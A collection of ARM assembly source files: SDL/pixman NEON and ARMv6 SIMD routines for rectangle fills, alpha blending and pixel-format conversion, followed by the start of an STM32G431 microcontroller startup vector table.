stride, pixels * [sp] = pixel value to fill with * Within the function: * v1 = width remaining * v2 = vst offset * v3 = alternate pointer * ip = data ARM register / pixman_asm_function name vld1.\bpp {d0[],d1[]}, [sp] sub a4, a1 vld1.\bpp {d2[],d3[]}, [sp] cmp a1, #(15+64) >> \log2Bpp push {v1-v3,lr} vmov ip, s0 blo 51f / Long-row case / mov v2, #64 1: mov v1, a1 ands v3, a3, #15 beq 2f / Leading pixels / rsb v3, v3, #16 / number of leading bytes until 16-byte aligned / sub v1, v1, v3, lsr #\log2Bpp rbit v3, v3 .if bpp <= 16 .if bpp == 8 tst a3, #1 / bit 0 unaffected by rsb so can avoid register interlock / strneb ip, [a3], #1 tst v3, #1<<30 .else tst a3, #2 / bit 1 unaffected by rsb (assuming halfword alignment) so can avoid register interlock / .endif strneh ip, [a3], #2 .endif movs v3, v3, lsl #3 vstmcs a3!, {s0} vstmmi a3!, {d0} 2: sub v1, v1, #64 >> \log2Bpp / simplifies inner loop termination / add v3, a3, #32 / Inner loop / 3: vst1.\bpp {q0-q1}, [a3 :128], v2 subs v1, v1, #64 >> \log2Bpp vst1.\bpp {q0-q1}, [v3 :128], v2 bhs 3b / Trailing pixels / 4: movs v1, v1, lsl #27 + \log2Bpp bcc 5f vst1.\bpp {q0-q1}, [a3 :128]! 5: bpl 6f vst1.\bpp {q0}, [a3 :128]! 6: movs v1, v1, lsl #2 vstmcs a3!, {d0} vstmmi a3!, {s0} .if bpp <= 16 movs v1, v1, lsl #2 strcsh ip, [a3], #2 .if bpp == 8 strmib ip, [a3], #1 .endif .endif subs a2, a2, #1 add a3, a3, a4, lsl #\log2Bpp bhi 1b pop {v1-v3,pc} / Short-row case / 51: movs v1, a1 .if bpp == 8 tst a3, #3 beq 53f 52: subs v1, v1, #1 blo 57f strb ip, [a3], #1 tst a3, #3 bne 52b .elseif bpp == 16 tstne a3, #2 subne v1, v1, #1 strneh ip, [a3], #2 .endif 53: cmp v1, #32 >> \log2Bpp bcc 54f vst1.\bpp {q0-q1}, [a3]! sub v1, v1, #32 >> \log2Bpp / Trailing pixels / 54: movs v1, v1, lsl #27 + \log2Bpp bcc 55f vst1.\bpp {q0-q1}, [a3]! 55: bpl 56f vst1.\bpp {q0}, [a3]! 56: movs v1, v1, lsl #2 vstmcs a3!, {d0} vstmmi a3!, {s0} .if bpp <= 16 movs v1, v1, lsl #2 strcsh ip, [a3], #2 .if bpp == 8 strmib ip, [a3], #1 .endif .endif subs a2, a2, #1 add a3, a3, a4, lsl #\log2Bpp bhi 51b 57: pop {v1-v3,pc} .endfunc .endm generate_fillrect_function FillRect32ARMNEONAsm, 32, 2 generate_fillrect_function FillRect16ARMNEONAsm, 16, 1 generate_fillrect_function FillRect8ARMNEONAsm, 8, 0 /****************************************************************************/ .macro RGBtoRGBPixelAlpha_process_pixblock_head vmvn d30, d3 / get inverted source alpha / vmov d31, d7 / dest alpha is always unchanged / vmull.u8 q14, d0, d3 vmlal.u8 q14, d4, d30 vmull.u8 q0, d1, d3 vmlal.u8 q0, d5, d30 vmull.u8 q1, d2, d3 vmlal.u8 q1, d6, d30 vrshr.u16 q2, q14, #8 vrshr.u16 q3, q0, #8 vraddhn.u16 d28, q14, q2 vrshr.u16 q2, q1, #8 vraddhn.u16 d29, q0, q3 vraddhn.u16 d30, q1, q2 .endm .macro RGBtoRGBPixelAlpha_process_pixblock_tail / nothing / .endm .macro RGBtoRGBPixelAlpha_process_pixblock_tail_head vld4.8 {d0-d3}, [SRC]! PF add PF_X, PF_X, #8 vst4.8 {d28-d31}, [DST_W :128]! PF tst PF_CTL, #0xF vld4.8 {d4-d7}, [DST_R :128]! PF addne PF_X, PF_X, #8 vmvn d30, d3 / get inverted source alpha / vmov d31, d7 / dest alpha is always unchanged / vmull.u8 q14, d0, d3 PF subne PF_CTL, PF_CTL, #1 vmlal.u8 q14, d4, d30 PF cmp PF_X, ORIG_W vmull.u8 q0, d1, d3 PF pld, [PF_SRC, PF_X, lsl #src_bpp_shift] vmlal.u8 q0, d5, d30 PF pld, [PF_DST, PF_X, lsl #dst_bpp_shift] vmull.u8 q1, d2, d3 PF subge PF_X, PF_X, ORIG_W vmlal.u8 q1, d6, d30 PF subges PF_CTL, PF_CTL, #0x10 vrshr.u16 q2, q14, #8 PF ldrgeb DUMMY, [PF_SRC, SRC_STRIDE, lsl #src_bpp_shift]! vrshr.u16 q3, q0, #8 PF ldrgeb DUMMY, [PF_DST, DST_STRIDE, lsl #dst_bpp_shift]! vraddhn.u16 d28, q14, q2 vrshr.u16 q2, q1, #8 vraddhn.u16 d29, q0, q3 vraddhn.u16 d30, q1, q2 .endm generate_composite_function \ BlitRGBtoRGBPixelAlphaARMNEONAsm, 32, 0, 32, \ FLAG_DST_READWRITE \| FLAG_DEINTERLEAVE_32BPP, \ 8, / number of pixels, processed in a single block / \ 5, / prefetch distance / \ default_init, \ default_cleanup, \ RGBtoRGBPixelAlpha_process_pixblock_head, \ RGBtoRGBPixelAlpha_process_pixblock_tail, \ RGBtoRGBPixelAlpha_process_pixblock_tail_head /****************************************************************************/ .macro ARGBto565PixelAlpha_process_pixblock_head vmvn d6, d3 vshr.u8 d1, #2 vshr.u8 d3, #3 vshr.u8 d0, #3 vshrn.u16 d7, q2, #3 vshrn.u16 d25, q2, #8 vbic.i16 q2, #0xe0 vshr.u8 d6, #3 vshr.u8 d7, #2 vshr.u8 d2, #3 vmovn.u16 d24, q2 vshr.u8 d25, #3 vmull.u8 q13, d1, d3 vmlal.u8 q13, d7, d6 vmull.u8 q14, d0, d3 vmlal.u8 q14, d24, d6 vmull.u8 q15, d2, d3 vmlal.u8 q15, d25, d6 .endm .macro ARGBto565PixelAlpha_process_pixblock_tail vsra.u16 q13, #5 vsra.u16 q14, #5 vsra.u16 q15, #5 vrshr.u16 q13, #5 vrshr.u16 q14, #5 vrshr.u16 q15, #5 vsli.u16 q14, q13, #5 vsli.u16 q14, q15, #11 .endm .macro ARGBto565PixelAlpha_process_pixblock_tail_head vld4.8 {d0-d3}, [SRC]! PF add PF_X, PF_X, #8 vsra.u16 q13, #5 PF tst PF_CTL, #0xF vsra.u16 q14, #5 PF addne PF_X, PF_X, #8 vsra.u16 q15, #5 PF subne PF_CTL, PF_CTL, #1 vrshr.u16 q13, #5 PF cmp PF_X, ORIG_W vrshr.u16 q14, #5 PF pld, [PF_SRC, PF_X, lsl #src_bpp_shift] vrshr.u16 q15, #5 PF pld, [PF_DST, PF_X, lsl #dst_bpp_shift] vld1.8 {d4-d5}, [DST_R]! PF subge PF_X, PF_X, ORIG_W vsli.u16 q14, q13, #5 PF subges PF_CTL, PF_CTL, #0x10 vsli.u16 q14, q15, #11 PF ldrgeb DUMMY, [PF_SRC, SRC_STRIDE, lsl #src_bpp_shift]! vst1.8 {q14}, [DST_W :128]! vmvn d6, d3 vshr.u8 d1, #2 vshr.u8 d3, #3 vshr.u8 d0, #3 vshrn.u16 d7, q2, #3 vshrn.u16 d25, q2, #8 vbic.i16 q2, #0xe0 PF ldrgeb DUMMY, [PF_DST, DST_STRIDE, lsl #dst_bpp_shift]! vshr.u8 d6, #3 vshr.u8 d7, #2 vshr.u8 d2, #3 vmovn.u16 d24, q2 vshr.u8 d25, #3 vmull.u8 q13, d1, d3 vmlal.u8 q13, d7, d6 vmull.u8 q14, d0, d3 vmlal.u8 q14, d24, d6 vmull.u8 q15, d2, d3 vmlal.u8 q15, d25, d6 .endm generate_composite_function \ BlitARGBto565PixelAlphaARMNEONAsm, 32, 0, 16, \ FLAG_DST_READWRITE \| FLAG_DEINTERLEAVE_32BPP, \ 8, / number of pixels, processed in a single block / \ 6, / prefetch distance */ \ default_init, \ default_cleanup, \ ARGBto565PixelAlpha_process_pixblock_head, \ ARGBto565PixelAlpha_process_pixblock_tail, \ ARGBto565PixelAlpha_process_pixblock_tail_head
2003scape/rsc-c	19,392	org.scape2003.mudclient/app/jni/SDL/src/video/arm/pixman-arm-simd-asm.S	/* * Copyright (c) 2016 RISC OS Open Ltd * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any damages * arising from the use of this software. * * Permission is granted to anyone to use this software for any purpose, * including commercial applications, and to alter it and redistribute it * freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you must not * claim that you wrote the original software. If you use this software * in a product, an acknowledgment in the product documentation would be * appreciated but is not required. * 2. Altered source versions must be plainly marked as such, and must not be * misrepresented as being the original software. * 3. This notice may not be removed or altered from any source distribution. / / Prevent the stack from becoming executable / #if defined(__linux__) && defined(__ELF__) .section .note.GNU-stack,"",%progbits #endif .text .arch armv6 .object_arch armv4 .arm .altmacro .p2align 2 #include "pixman-arm-asm.h" #include "pixman-arm-simd-asm.h" / A head macro should do all processing which results in an output of up to * 16 bytes, as far as the final load instruction. The corresponding tail macro * should complete the processing of the up-to-16 bytes. The calling macro will * sometimes choose to insert a preload or a decrement of X between them. * cond ARM condition code for code block * numbytes Number of output bytes that should be generated this time * firstreg First WK register in which to place output * unaligned_src Whether to use non-wordaligned loads of source image * unaligned_mask Whether to use non-wordaligned loads of mask image * preload If outputting 16 bytes causes 64 bytes to be read, whether an extra preload should be output / /****************************************************************************/ .macro FillRect32_init ldr SRC, [sp, #ARGS_STACK_OFFSET] mov STRIDE_S, SRC mov MASK, SRC mov STRIDE_M, SRC .endm .macro FillRect16_init ldrh SRC, [sp, #ARGS_STACK_OFFSET] orr SRC, SRC, lsl #16 mov STRIDE_S, SRC mov MASK, SRC mov STRIDE_M, SRC .endm .macro FillRect8_init ldrb SRC, [sp, #ARGS_STACK_OFFSET] orr SRC, SRC, lsl #8 orr SRC, SRC, lsl #16 mov STRIDE_S, SRC mov MASK, SRC mov STRIDE_M, SRC .endm .macro FillRect_process_tail cond, numbytes, firstreg WK4 .req SRC WK5 .req STRIDE_S WK6 .req MASK WK7 .req STRIDE_M pixst cond, numbytes, 4, DST .unreq WK4 .unreq WK5 .unreq WK6 .unreq WK7 .endm generate_composite_function \ FillRect32ARMSIMDAsm, 0, 0, 32, \ FLAG_DST_WRITEONLY \| FLAG_COND_EXEC \| FLAG_PROCESS_PRESERVES_PSR \| FLAG_PROCESS_DOES_STORE \| FLAG_PROCESS_PRESERVES_SCRATCH \ 0, / prefetch distance doesn't apply / \ FillRect32_init \ nop_macro, / newline / \ nop_macro / cleanup / \ nop_macro / process head / \ FillRect_process_tail generate_composite_function \ FillRect16ARMSIMDAsm, 0, 0, 16, \ FLAG_DST_WRITEONLY \| FLAG_COND_EXEC \| FLAG_PROCESS_PRESERVES_PSR \| FLAG_PROCESS_DOES_STORE \| FLAG_PROCESS_PRESERVES_SCRATCH \ 0, / prefetch distance doesn't apply / \ FillRect16_init \ nop_macro, / newline / \ nop_macro / cleanup / \ nop_macro / process head / \ FillRect_process_tail generate_composite_function \ FillRect8ARMSIMDAsm, 0, 0, 8, \ FLAG_DST_WRITEONLY \| FLAG_COND_EXEC \| FLAG_PROCESS_PRESERVES_PSR \| FLAG_PROCESS_DOES_STORE \| FLAG_PROCESS_PRESERVES_SCRATCH \ 0, / prefetch distance doesn't apply / \ FillRect8_init \ nop_macro, / newline / \ nop_macro / cleanup / \ nop_macro / process head / \ FillRect_process_tail /****************************************************************************/ / This differs from the over_8888_8888 routine in Pixman in that the destination * alpha component is always left unchanged, and RGB components are not * premultiplied by alpha. It differs from BlitRGBtoRGBPixelAlpha in that * renormalisation is done by multiplying by 257/256 (with rounding) rather than * simply shifting right by 8 bits - removing the need to special-case alpha=0xff. / .macro RGBtoRGBPixelAlpha_init line_saved_regs STRIDE_S, ORIG_W mov MASK, #0x80 .endm .macro RGBtoRGBPixelAlpha_1pixel_translucent s, d, tmp0, tmp1, tmp2, tmp3, half uxtb tmp3, s uxtb tmp0, d sub tmp0, tmp3, tmp0 uxtb tmp3, s, ror #16 uxtb tmp1, d, ror #16 sub tmp1, tmp3, tmp1 uxtb tmp3, s, ror #8 mov s, s, lsr #24 uxtb tmp2, d, ror #8 sub tmp2, tmp3, tmp2 smlabb tmp0, tmp0, s, half smlabb tmp1, tmp1, s, half smlabb tmp2, tmp2, s, half add tmp0, tmp0, asr #8 add tmp1, tmp1, asr #8 add tmp2, tmp2, asr #8 pkhbt tmp0, tmp0, tmp1, lsl #16 and tmp2, tmp2, #0xff00 uxtb16 tmp0, tmp0, ror #8 orr tmp0, tmp0, tmp2 uadd8 d, d, tmp0 .endm .macro RGBtoRGBPixelAlpha_1pixel_opaque s, d and d, d, #0xff000000 bic s, s, #0xff000000 orr d, d, s .endm .macro RGBtoRGBPixelAlpha_process_head cond, numbytes, firstreg, unaligned_src, unaligned_mask, preload .if numbytes == 16 ldm SRC!, {WK0, WK1} ldm SRC!, {STRIDE_S, STRIDE_M} ldrd WK2, WK3, [DST], #16 orr SCRATCH, WK0, WK1 and ORIG_W, WK0, WK1 orr SCRATCH, SCRATCH, STRIDE_S and ORIG_W, ORIG_W, STRIDE_S orr SCRATCH, SCRATCH, STRIDE_M and ORIG_W, ORIG_W, STRIDE_M tst SCRATCH, #0xff000000 .elseif numbytes == 8 ldm SRC!, {WK0, WK1} ldm DST!, {WK2, WK3} orr SCRATCH, WK0, WK1 and ORIG_W, WK0, WK1 tst SCRATCH, #0xff000000 .else // numbytes == 4 ldr WK0, [SRC], #4 ldr WK2, [DST], #4 tst WK0, #0xff000000 .endif .endm .macro RGBtoRGBPixelAlpha_process_tail cond, numbytes, firstreg beq 20f @ all transparent .if numbytes == 16 cmp ORIG_W, #0xff000000 bhs 10f @ all opaque RGBtoRGBPixelAlpha_1pixel_translucent WK0, WK2, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK RGBtoRGBPixelAlpha_1pixel_translucent WK1, WK3, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK strd WK2, WK3, [DST, #-16] ldrd WK0, WK1, [SRC, #-8] ldrd WK2, WK3, [DST, #-8] RGBtoRGBPixelAlpha_1pixel_translucent WK0, WK2, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK RGBtoRGBPixelAlpha_1pixel_translucent WK1, WK3, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK b 19f 10: RGBtoRGBPixelAlpha_1pixel_opaque WK0, WK2 RGBtoRGBPixelAlpha_1pixel_opaque WK1, WK3 strd WK2, WK3, [DST, #-16] ldrd WK0, WK1, [SRC, #-8] ldrd WK2, WK3, [DST, #-8] RGBtoRGBPixelAlpha_1pixel_opaque WK0, WK2 RGBtoRGBPixelAlpha_1pixel_opaque WK1, WK3 19: strd WK2, WK3, [DST, #-8] .elseif numbytes == 8 cmp ORIG_W, #0xff000000 bhs 10f @ all opaque RGBtoRGBPixelAlpha_1pixel_translucent WK0, WK2, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK RGBtoRGBPixelAlpha_1pixel_translucent WK1, WK3, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK b 19f 10: RGBtoRGBPixelAlpha_1pixel_opaque WK0, WK2 RGBtoRGBPixelAlpha_1pixel_opaque WK1, WK3 19: strd WK2, WK3, [DST, #-8] .else // numbytes == 4 cmp WK0, #0xff000000 bhs 10f @ opaque RGBtoRGBPixelAlpha_1pixel_translucent WK0, WK2, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK b 19f 10: RGBtoRGBPixelAlpha_1pixel_opaque WK0, WK2 19: str WK2, [DST, #-4] .endif 20: .endm generate_composite_function \ BlitRGBtoRGBPixelAlphaARMSIMDAsm, 32, 0, 32, \ FLAG_DST_READWRITE \| FLAG_BRANCH_OVER \| FLAG_PROCESS_CORRUPTS_PSR \| FLAG_PROCESS_DOES_STORE \| FLAG_SPILL_LINE_VARS \| FLAG_PROCESS_CORRUPTS_WK0, \ 2, / prefetch distance / \ RGBtoRGBPixelAlpha_init, \ nop_macro, / newline / \ nop_macro, / cleanup / \ RGBtoRGBPixelAlpha_process_head, \ RGBtoRGBPixelAlpha_process_tail /****************************************************************************/ .macro ARGBto565PixelAlpha_init line_saved_regs STRIDE_D, STRIDE_S, ORIG_W mov MASK, #0x001f mov STRIDE_M, #0x0010 orr MASK, MASK, MASK, lsl #16 orr STRIDE_M, STRIDE_M, STRIDE_M, lsl #16 .endm .macro ARGBto565PixelAlpha_newline mov STRIDE_S, #0x0200 .endm / On entry: * s1 holds 1 32bpp source pixel * d holds 1 16bpp destination pixel * rbmask, rbhalf, ghalf hold 0x001f001f, 0x00100010, 0x00000200 respectively * other registers are temporaries * On exit: * Constant registers preserved / .macro ARGBto565PixelAlpha_1pixel_translucent s, d, rbmask, rbhalf, ghalf, alpha, rb, g, misc mov alpha, s, lsr #27 and misc, s, #0xfc00 and g, d, #0x07e0 pkhbt rb, d, d, lsl #5 rsb misc, g, misc, lsr #5 and s, rbmask, s, lsr #3 and rb, rbmask, rb sub s, s, rb smlabb misc, misc, alpha, ghalf mla s, s, alpha, rbhalf add misc, misc, misc, lsl #5 add g, g, misc, asr #10 add s, s, s, lsl #5 and g, g, #0x07e0 add rb, rb, s, asr #10 and rb, rb, rbmask pkhbt rb, rb, rb, lsl #11 orr d, rb, g orr d, d, rb, lsr #16 .endm / On entry: * s1 holds 1 32bpp source pixel * d holds 1 16bpp destination pixel * rbmask holds 0x001f001f * On exit: * Constant registers preserved / .macro ARGBto565PixelAlpha_1pixel_opaque s, d, rbmask and d, rbmask, s, lsr #3 and s, s, #0xfc00 orr d, d, d, lsr #5 orr d, d, s, lsr #5 .endm / On entry: * s1, s2 hold 2 32bpp source pixels * d holds 2 16bpp destination pixels * rbmask, rbhalf, ghalf hold 0x001f001f, 0x00100010, 0x00000200 respectively * other registers are temporaries * On exit: * Constant registers preserved * Blended results have been written through destination pointer / .macro ARGBto565PixelAlpha_2pixels_translucent s1, s2, d, rbmask, rbhalf, ghalf, alpha, rb, g, misc mov alpha, s1, lsr #27 and misc, s1, #0xfc00 and g, d, #0x07e0 pkhbt rb, d, d, lsl #5 rsb misc, g, misc, lsr #5 and s1, rbmask, s1, lsr #3 and rb, rbmask, rb sub s1, s1, rb smlabb misc, misc, alpha, ghalf mla s1, s1, alpha, rbhalf uxth d, d, ror #16 add misc, misc, misc, lsl #5 mov alpha, s2, lsr #27 add g, g, misc, asr #10 add s1, s1, s1, lsl #5 and g, g, #0x07e0 add rb, rb, s1, asr #10 and rb, rb, rbmask and misc, s2, #0xfc00 pkhbt rb, rb, rb, lsl #11 and s1, d, #0x07e0 pkhbt d, d, d, lsl #5 rsb misc, s1, misc, lsr #5 and s2, rbmask, s2, lsr #3 and d, rbmask, d sub s2, s2, d smlabb misc, misc, alpha, ghalf mla s2, s2, alpha, rbhalf orr alpha, rb, g add misc, misc, misc, lsl #5 orr alpha, alpha, rb, lsr #16 add s1, s1, misc, asr #10 add s2, s2, s2, lsl #5 and s1, s1, #0x07e0 add d, d, s2, asr #10 and d, d, rbmask strh alpha, [DST, #-4] pkhbt d, d, d, lsl #11 orr alpha, d, s1 orr alpha, alpha, d, lsr #16 strh alpha, [DST, #-2] .endm / On entry: * s1, s2 hold 2 32bpp source pixels * rbmask holds 0x001f001f * other registers are temporaries * On exit: * Constant registers preserved * Blended results have been written through destination pointer / .macro ARGBto565PixelAlpha_2pixels_opaque s1, s2, d, rbmask, g and g, s1, #0xfc00 and d, rbmask, s1, lsr #3 and s1, rbmask, s2, lsr #3 orr d, d, d, lsr #5 orr d, d, g, lsr #5 and g, s2, #0xfc00 strh d, [DST, #-4] orr s1, s1, s1, lsr #5 orr s1, s1, g, lsr #5 strh s1, [DST, #-2] .endm .macro ARGBto565PixelAlpha_2pixels_head ldrd WK0, WK1, [SRC], #8 ldr WK2, [DST], #4 orr SCRATCH, WK0, WK1 and ORIG_W, WK0, WK1 tst SCRATCH, #0xff000000 .endm .macro ARGBto565PixelAlpha_2pixels_tail beq 20f @ all transparent cmp ORIG_W, #0xff000000 bhs 10f @ all opaque ARGBto565PixelAlpha_2pixels_translucent WK0, WK1, WK2, MASK, STRIDE_M, STRIDE_S, STRIDE_D, WK3, SCRATCH, ORIG_W b 20f 10: ARGBto565PixelAlpha_2pixels_opaque WK0, WK1, WK2, MASK, SCRATCH 20: .endm .macro ARGBto565PixelAlpha_process_head cond, numbytes, firstreg, unaligned_src, unaligned_mask, preload .if numbytes == 16 ARGBto565PixelAlpha_2pixels_head ARGBto565PixelAlpha_2pixels_tail ARGBto565PixelAlpha_2pixels_head ARGBto565PixelAlpha_2pixels_tail .endif .if numbytes >= 8 ARGBto565PixelAlpha_2pixels_head ARGBto565PixelAlpha_2pixels_tail .endif .if numbytes >= 4 ARGBto565PixelAlpha_2pixels_head .else // numbytes == 2 ldr WK0, [SRC], #4 ldrh WK2, [DST], #2 tst WK0, #0xff000000 .endif .endm .macro ARGBto565PixelAlpha_process_tail cond, numbytes, firstreg .if numbytes >= 4 ARGBto565PixelAlpha_2pixels_tail .else // numbytes == 2 beq 20f @ all transparent cmp WK0, #0xff000000 bhs 10f @ opaque ARGBto565PixelAlpha_1pixel_translucent WK0, WK2, MASK, STRIDE_M, STRIDE_S, STRIDE_D, WK3, SCRATCH, ORIG_W b 19f 10: ARGBto565PixelAlpha_1pixel_opaque WK0, WK2, MASK 19: strh WK2, [DST, #-2] 20: .endif .endm generate_composite_function \ BlitARGBto565PixelAlphaARMSIMDAsm, 32, 0, 16, \ FLAG_DST_READWRITE \| FLAG_BRANCH_OVER \| FLAG_PROCESS_CORRUPTS_PSR \| FLAG_PROCESS_DOES_STORE \| FLAG_SPILL_LINE_VARS \| FLAG_PROCESS_CORRUPTS_WK0, \ 2, / prefetch distance / \ ARGBto565PixelAlpha_init, \ ARGBto565PixelAlpha_newline, \ nop_macro, / cleanup / \ ARGBto565PixelAlpha_process_head, \ ARGBto565PixelAlpha_process_tail /****************************************************************************/ .macro BGR888toRGB888_1pixel cond, reg, tmp uxtb16&cond tmp, WK&reg, ror #8 uxtb16&cond WK&reg, WK&reg, ror #16 orr&cond WK&reg, WK&reg, tmp, lsl #8 .endm .macro BGR888toRGB888_2pixels cond, reg1, reg2, tmp1, tmp2 uxtb16&cond tmp1, WK&reg1, ror #8 uxtb16&cond WK&reg1, WK&reg1, ror #16 uxtb16&cond tmp2, WK&reg2, ror #8 uxtb16&cond WK&reg2, WK&reg2, ror #16 orr&cond WK&reg1, WK&reg1, tmp1, lsl #8 orr&cond WK&reg2, WK&reg2, tmp2, lsl #8 .endm .macro BGR888toRGB888_process_head cond, numbytes, firstreg, unaligned_src, unaligned_mask, preload pixld cond, numbytes, firstreg, SRC, unaligned_src .endm .macro BGR888toRGB888_process_tail cond, numbytes, firstreg .if numbytes >= 8 BGR888toRGB888_2pixels cond, %(firstreg+0), %(firstreg+1), MASK, STRIDE_M .if numbytes == 16 BGR888toRGB888_2pixels cond, %(firstreg+2), %(firstreg+3), MASK, STRIDE_M .endif .else @ numbytes == 4 BGR888toRGB888_1pixel cond, %(firstreg+0), MASK .endif .endm generate_composite_function \ Blit_BGR888_RGB888ARMSIMDAsm, 32, 0, 32, \ FLAG_DST_WRITEONLY \| FLAG_COND_EXEC \| FLAG_PROCESS_PRESERVES_SCRATCH, \ 2, / prefetch distance / \ nop_macro, / init / \ nop_macro, / newline / \ nop_macro, / cleanup / \ BGR888toRGB888_process_head, \ BGR888toRGB888_process_tail /****************************************************************************/ .macro RGB444toRGB888_init ldr MASK, =0x0f0f0f0f / Set GE[3:0] to 0101 so SEL instructions do what we want / msr CPSR_s, #0x50000 .endm .macro RGB444toRGB888_1pixel reg, mask, tmp pkhbt WK&reg, WK&reg, WK&reg, lsl #12 @ 0000aaaarrrrggggaaaarrrrggggbbbb and WK&reg, mask, WK&reg @ 0000aaaa0000gggg0000rrrr0000bbbb orr WK&reg, WK&reg, WK&reg, lsl #4 @ aaaaaaaaggggggggrrrrrrrrbbbbbbbb pkhtb tmp, WK&reg, WK&reg, asr #8 @ aaaaaaaaggggggggggggggggrrrrrrrr pkhbt WK&reg, WK&reg, WK&reg, lsl #8 @ ggggggggrrrrrrrrrrrrrrrrbbbbbbbb sel WK&reg, WK&reg, tmp @ aaaaaaaarrrrrrrrggggggggbbbbbbbb .endm .macro RGB444toRGB888_2pixels in, out1, out2, mask, tmp1, tmp2 and tmp1, mask, WK&in @ 0000RRRR0000BBBB0000rrrr0000bbbb and tmp2, mask, WK&in, lsr #4 @ 0000AAAA0000GGGG0000aaaa0000gggg orr tmp1, tmp1, tmp1, lsl #4 @ RRRRRRRRBBBBBBBBrrrrrrrrbbbbbbbb orr tmp2, tmp2, tmp2, lsl #4 @ AAAAAAAAGGGGGGGGaaaaaaaagggggggg pkhtb WK&out2, tmp2, tmp1, asr #16 @ AAAAAAAAGGGGGGGGRRRRRRRRBBBBBBBB pkhbt WK&out1, tmp1, tmp2, lsl #16 @ aaaaaaaaggggggggrrrrrrrrbbbbbbbb pkhtb tmp2, WK&out2, WK&out2, asr #8 @ AAAAAAAAGGGGGGGGGGGGGGGGRRRRRRRR pkhtb tmp1, WK&out1, WK&out1, asr #8 @ aaaaaaaaggggggggggggggggrrrrrrrr pkhbt WK&out1, WK&out1, WK&out1, lsl #8 @ ggggggggrrrrrrrrrrrrrrrrbbbbbbbb pkhbt WK&out2, WK&out2, WK&out2, lsl #8 @ GGGGGGGGRRRRRRRRRRRRRRRRBBBBBBBB sel WK&out1, WK&out1, tmp1 @ aaaaaaaarrrrrrrrggggggggbbbbbbbb sel WK&out2, WK&out2, tmp2 @ AAAAAAAARRRRRRRRGGGGGGGGBBBBBBBB .endm .macro RGB444toRGB888_process_head cond, numbytes, firstreg, unaligned_src, unaligned_mask, preload pixld cond, numbytes/2, firstreg, SRC, unaligned_src .endm .macro RGB444toRGB888_process_tail cond, numbytes, firstreg .if numbytes >= 8 .if numbytes == 16 RGB444toRGB888_2pixels %(firstreg+1), %(firstreg+2), %(firstreg+3), MASK, STRIDE_M, SCRATCH .endif RGB444toRGB888_2pixels %(firstreg+0), %(firstreg+0), %(firstreg+1), MASK, STRIDE_M, SCRATCH .else @ numbytes == 4 RGB444toRGB888_1pixel %(firstreg+0), MASK, SCRATCH .endif .endm generate_composite_function \ Blit_RGB444_RGB888ARMSIMDAsm, 16, 0, 32, \ FLAG_DST_WRITEONLY \| FLAG_BRANCH_OVER, \ 2, / prefetch distance / \ RGB444toRGB888_init, \ nop_macro, / newline / \ nop_macro, / cleanup */ \ RGB444toRGB888_process_head, \ RGB444toRGB888_process_tail
2023violet/FalconFoc	19,264	2.Firmware/FalconFoc/MDK-ARM/startup_stm32g431xx.s	;******************************************************************************* ;* @File Name : startup_stm32g431xx.s ;* @Author : MCD Application Team ;* @Brief : Vector table for MDK-ARM toolchain ;******************************************************************************* ;* Description : STM32G431xx Mainstream devices vector table for ;* MDK-ARM toolchain. ;* This module performs: ;* - Set the initial SP ;* - Set the initial PC == Reset_Handler ;* - Set the vector table entries with the exceptions ISR address ;* - Branches to __main in the C library (which eventually ;* calls main()). ;* After Reset the Cortex-M4 processor is in Thread mode, ;* priority is Privileged, and the Stack is set to Main. ;******************************************************************************** ;* @attention ;* ;* Copyright (c) 2019 STMicroelectronics. ;* All rights reserved. ;* ;* This software is licensed under terms that can be found in the LICENSE file ;* in the root directory of this software component. ;* If no LICENSE file comes with this software, it is provided AS-IS. ; ;******************************************************************************* ;* <<< Use Configuration Wizard in Context Menu >>> ; ; Amount of memory (in bytes) allocated for Stack ; Tailor this value to your application needs ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x1000 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x3000 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD MemManage_Handler ; MPU Fault Handler DCD BusFault_Handler ; Bus Fault Handler DCD UsageFault_Handler ; Usage Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD DebugMon_Handler ; Debug Monitor Handler DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WWDG_IRQHandler ; Window WatchDog DCD PVD_PVM_IRQHandler ; PVD/PVM1/PVM2/PVM3/PVM4 through EXTI Line detection DCD RTC_TAMP_LSECSS_IRQHandler ; RTC, TAMP and RCC LSE_CSS through the EXTI line DCD RTC_WKUP_IRQHandler ; RTC Wakeup through the EXTI line DCD FLASH_IRQHandler ; FLASH DCD RCC_IRQHandler ; RCC DCD EXTI0_IRQHandler ; EXTI Line0 DCD EXTI1_IRQHandler ; EXTI Line1 DCD EXTI2_IRQHandler ; EXTI Line2 DCD EXTI3_IRQHandler ; EXTI Line3 DCD EXTI4_IRQHandler ; EXTI Line4 DCD DMA1_Channel1_IRQHandler ; DMA1 Channel 1 DCD DMA1_Channel2_IRQHandler ; DMA1 Channel 2 DCD DMA1_Channel3_IRQHandler ; DMA1 Channel 3 DCD DMA1_Channel4_IRQHandler ; DMA1 Channel 4 DCD DMA1_Channel5_IRQHandler ; DMA1 Channel 5 DCD DMA1_Channel6_IRQHandler ; DMA1 Channel 6 DCD 0 ; Reserved DCD ADC1_2_IRQHandler ; ADC1 and ADC2 